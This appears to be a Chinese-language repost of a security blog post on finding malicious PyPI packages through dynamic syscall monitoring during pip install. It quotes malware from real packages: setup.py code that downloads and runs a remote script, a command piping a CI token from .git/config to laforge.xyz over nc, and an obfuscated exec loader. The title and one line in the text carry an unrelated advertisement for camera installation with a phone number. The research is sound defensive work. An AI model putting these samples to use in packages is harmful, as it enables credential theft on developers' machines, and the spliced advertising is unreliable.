原標題:銀川監控攝像頭安裝,有人在代碼裏下毒!慎用 pip install 命令

大約一年前,Python軟件基金會(Python Software Foundation)發了一個需求諮詢帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要問題是來討論我們如何檢測上傳到PyPI的惡意第三方軟件包。無論是被接管了廢棄的軟件包,對流行的庫進行Typosquatting攻擊釣魚劫持,還是對第三方庫進行撞庫攻擊,很明顯,這都是一個值得思考的問題,幾乎影響到每個開發者。使用pip install安裝軟件包時,大多數人不清楚自己所需的python模塊在哪個軟件包中,有時候甚至是模糊搜索安裝,這就給惡意利用的人提供了機會。

事實上,像PyPI這樣的軟件包管理器是幾乎每個公司都依賴的關鍵基礎架構。針對這個問題的嚴重性我們可以在這個主題上談上幾天幾夜,不過看了下面的這張圖你就明白了。

我想對此做進一步的探討,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的軟件包並尋找惡意攻擊活動。

如何查找惡意包

爲了在安裝過程中運行任意命令,作者通常將代碼添加到其程序包中的setup.py文件中。您可以在此github存儲庫(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。

總的來說,您可以用以下兩種方式來查找潛在的惡意依賴包:查看代碼中的不良內容(靜態分析),或者可以安裝它們以查看會發生什麼情況(動態分析)。

銀川監控攝像頭安裝15309571686██专业███████████

雖然靜態分析非常有趣(我曾在Node.js 的包管理工具npm上手動使用grep命令搜尋到了惡意軟件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在這篇文章中,我將重點介紹動態分析。畢竟我認爲它會有效果,因爲你正在查看實際發生的事情,而不是僅僅尋找未來可能發生的事。

那我們到底在尋找什麼呢?

如何把握重點

通常,任何重要操作發生都是由內核完成的,普通程序(如pip)通過內核執行重要操作是通過使用syscall來完成的。使用syscall可以完成打開文件、建立網絡連接和執行命令的所有操作!

您可以從Julia Evans的漫畫中瞭解syscall的更多內容:

這意味着,如果我們可以在安裝Python軟件包期間監視系統調用(syscalls),就可以查看是否發生了任何可疑事件。

監測系統調用(syscalls)這個方法並不是我想到的。自2017年以來,亞當·鮑德溫(Adam Baldwin)等人就一直在談論這一問題。佐治亞理工學院的研究人員發表了一篇出色的論文(https://arxiv.org/pdf/2002.01139.pdf),採用了同樣的方法。老實說,大多數博客文章只是試圖重現他們的想法。

現在,我們想監測系統調用(syscalls),那麼到底該怎麼做呢?

使用Sysdig監測Syscall

有許多旨在讓您監測系統調用的工具,對於本項目,我使用sysdig,因爲它既提供結構化輸出,又提供了一些非常好的過濾功能。

爲了使該工作正常進行,在啓動安裝該軟件包的Docker容器時,我還啓動了一個sysdig進程,該進程僅監測該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網絡讀取/寫入,因爲我不想被與軟件包下載相關的事件寫滿日誌。

通過捕獲系統調用的方法,我不得不解決另一個問題:如何獲取所有PyPI軟件包的列表。

獲取Python包

對我們來說幸運的是,PyPI擁有一個稱爲Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以將其視爲“一個非常大的HTML頁面,其中包含指向每個包的鏈接”。它簡單,乾淨而且比我可能會寫的任何HTML都要好。

我們可以抓取此頁面並使用pup解析所有鏈接,從而爲我們提供約268,000個軟件包:

  1. > curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt
  2. > wc -l pypi_full.txt
  3. 268038 pypi_full.txt

對於本實驗,我只關心每個軟件包的最新版本。較舊的版本中可能埋藏着惡意版本的軟件包,但AWS不會自己買單(笑)。

我最終實現了一個看起來像這樣的管道:

簡而言之,我們將每個軟件包名稱發送到一組EC2實例(我希望將來使用AWS Fargate無服務器化容器解決方案或其他東西,但我現在也不知道Fargate怎麼用,所以……),該程序會從PyPI中獲取有關軟件包的一些元數據,然後在一系列容器pip install安裝軟件包同時啓動sysdig,以監測syscall和網絡流量。然後,所有數據都被運送到S3以供未來使用。

這個過程如下所示:

結果

過程一旦完成,我將在一個S3存儲庫中獲取幾TB的數據,覆蓋大約245,000個軟件包。儘管有的軟件包沒有發佈版本,有的軟件包具有各種bug,但是這似乎也是一個很好的樣本。

現在開始有趣的部分:分析!(其實是一系列枯燥的grep操作)

我合併了元數據和輸出,提供了一系列如下所示的JSON文件:

  1. {
  2. "metadata": {},
  3. "output": {
  4. "dns": [], // Any DNS requests made
  5. "files": [], // All file access operations
  6. "connections": [], // TCP connections established
  7. "commands": [], // Any commands executed
  8. }
  9. }

然後,我編寫了一系列腳本來開始彙總數據,以試圖區別是良性程序包和惡意程序包。讓我們深入研究一些結果。

網絡請求

在安裝過程中,軟件包需要建立網絡連接的原因有很多。他們可能需要下載合法的二進制組件或其他資源,它們可能是一種分析形式,或者可能正試圖從系統中竊取數據或憑證。

結果發現,有460個軟件包將網絡連接到109個特定主機。就像上面論文提到的一樣,其中很多是程序包共享建立網絡連接依賴關係的結果。可以通過映射依賴關係將其過濾掉,但是我在這裏還沒有做過。

這裏(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安裝過程中看到的DNS請求明細。

執行命令

像網絡連接一樣,在安裝過程中,軟件包有合理的理由運行系統命令。可以是編譯二進制文件,或者設置正確的運行環境等。

查看我們的樣本,發現60,725個軟件包在安裝過程中正在執行命令。就像網絡連接一樣,其中許多是依賴項(運行命令的程序包)的結果。

一些有趣的第三方包

深入研究結果後,發現大多數網絡連接和命令似乎都是合乎常理預期的。但是,我想舉幾個奇怪的例子作爲案例研究,以說明這種類型的分析多有用。

i-am-malicious

一個名爲i-am-malicious的軟件包似乎是惡意軟件包的證明。以下是一些有趣的細節,使我們認爲該程序包值得研究(如果名稱不夠的話......):

  1. {
  2. "dns": [{
  3. "name": "gist.githubusercontent.com",
  4. "addresses": [
  5. "199.232.64.133"
  6. ]
  7. }]
  8. ],
  9. "files": [
  10. ...
  11. {
  12. "filename": "/tmp/malicious.py",
  13. "flag": "O_RDONLY|O_CLOEXEC"
  14. },
  15. ...
  16. {
  17. "filename": "/tmp/malicious-was-here",
  18. "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
  19. },
  20. ...
  21. ],
  22. "commands": [
  23. "python /tmp/malicious.py"
  24. ]
  25. }

我們看到與gist.github.com的連接,正在執行一個Python文件,並在此處創建了一個名爲/ tmp / malicious-was-here的文件。當然,這就是setup.py中發生的事情:

  1. from urllib.request import urlopen
  2. handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
  3. with open("/tmp/malicious.py", "wb") as fp:
  4. fp.write(handler.read())
  5. import subprocess
  6. subprocess.call(["python", "/tmp/malicious.py"])

malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”類型的消息,表明這確實是一個證明。

maliciouspackage

另一個自稱爲"惡意程序包"的maliciouspackage更邪惡。這是相關的輸出:

  1. {
  2. "dns": [{
  3. "name": "laforge.xyz",
  4. "addresses": [
  5. "34.82.112.63"
  6. ]
  7. }],
  8. "files": [
  9. {
  10. "filename": "/app/.git/config",
  11. "flag": "O_RDONLY"
  12. },
  13. ],
  14. "commands": [
  15. "sh -c apt install -y socat",
  16. "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
  17. "grep ci-token /app/.git/config",
  18. "nc laforge.xyz 5566"
  19. ]
  20. }

和之前一樣,我們的輸出使我們對發生的事情有了一個不錯的瞭解。在這種情況下,程序包似乎從.git / config文件中提取令牌並將其上傳到laforge.xyz。瀏覽setup.py,我們發現確實是這樣:

  1. ...
  2. import os
  3. os.system('apt install -y socat')
  4. os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

easyIoCtl是一個有趣的軟件包。它聲稱可以“擺脫無聊的IO操作”,但我們看到以下命令正在執行:

  1. [
  2. "sh -c touch /tmp/testing123",
  3. "touch /tmp/testing123"
  4. ]

可疑,但可能不是有意爲之。但是這是一個完美的示例,顯示了監測系統調用的功能。這是項目的setup.py中的相關代碼:

  1. class MyInstall():
  2. def run(self):
  3. control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
  4. control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
  5. control_flow_guard_init = ""
  6. for controL_flow_code in control_flow_guard_mappers:
  7. control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
  8. exec(control_flow_guard_init)

此代碼片段混淆不清,很難說出是怎麼回事,傳統的靜態分析可能會抓住對exec的調用,但僅此而已。

要查看其作用,我們可以用打印替換exec,結果是:

import os;os.system('touch /tmp/testing123')

這正是我們記錄的命令,表明即使代碼混淆也不會影響我們的結果,因爲我們正在對系統調用進行監視。

當我們發現惡意軟件包時會發生什麼?

值得簡要討論一下,當我們發現惡意程序包時該怎麼辦。首先要做的是提醒PyPI志願者,以便他們下架這個包。可以通過聯繫[email protected]來完成。

之後,我們可以使用BigQuery上的PyPI公開數據集,查看該包的下載次數。

這是一個示例查詢,用於查找在過去30天內安裝了maliciouspackage的次數:

  1. #standardSQL
  2. SELECT COUNT(*) AS num_downloads
  3. FROM `the-psf.pypi.file_downloads`
  4. WHERE file.project = 'maliciouspackage'
  5. -- Only query the last 30 days of history
  6. AND DATE(timestamp)
  7. BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
  8. AND CURRENT_DATE()

運行此查詢命令,結果表明它已被下載400次以上。

未來展望

第一步只是初步瞭解了整個PyPI的概況。查看數據,我發現沒有任何程序包進行了嚴重有害的活動,而且名稱中的某處也沒有“惡意”。這很好!(其實並非如此,如果你在 2017-05-24 到 2017-05-31 這段時間內執行過 pip install smb或者 pip download smb, 那麼你的個人信息可能已經泄露)但是我總是有可能錯過某些事情,或者將來會發生。如果您有興趣挖掘數據,可以在這裏(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。

展望未來,我正在設置一個Lambda函數,以使用PyPI的RSS feed功能獲取最新的軟件包更新。每個更新的程序包都將經過相同的處理,如果檢測到可疑活動,則會發送警報。

我仍然不喜歡僅通過pip install命令就可以讓程序在用戶系統上執行任意操作。我知道大多數程序包都是善意的,但它帶來了風險。希望越來越多地監測各種第三方程序包管理器,並識別出惡意活動的跡象。

這不是PyPI獨有的。之後,我希望對RubyGems,npm和其他程序包管理庫進行相同的分析,就像我之前提到的研究人員一樣。

相關文章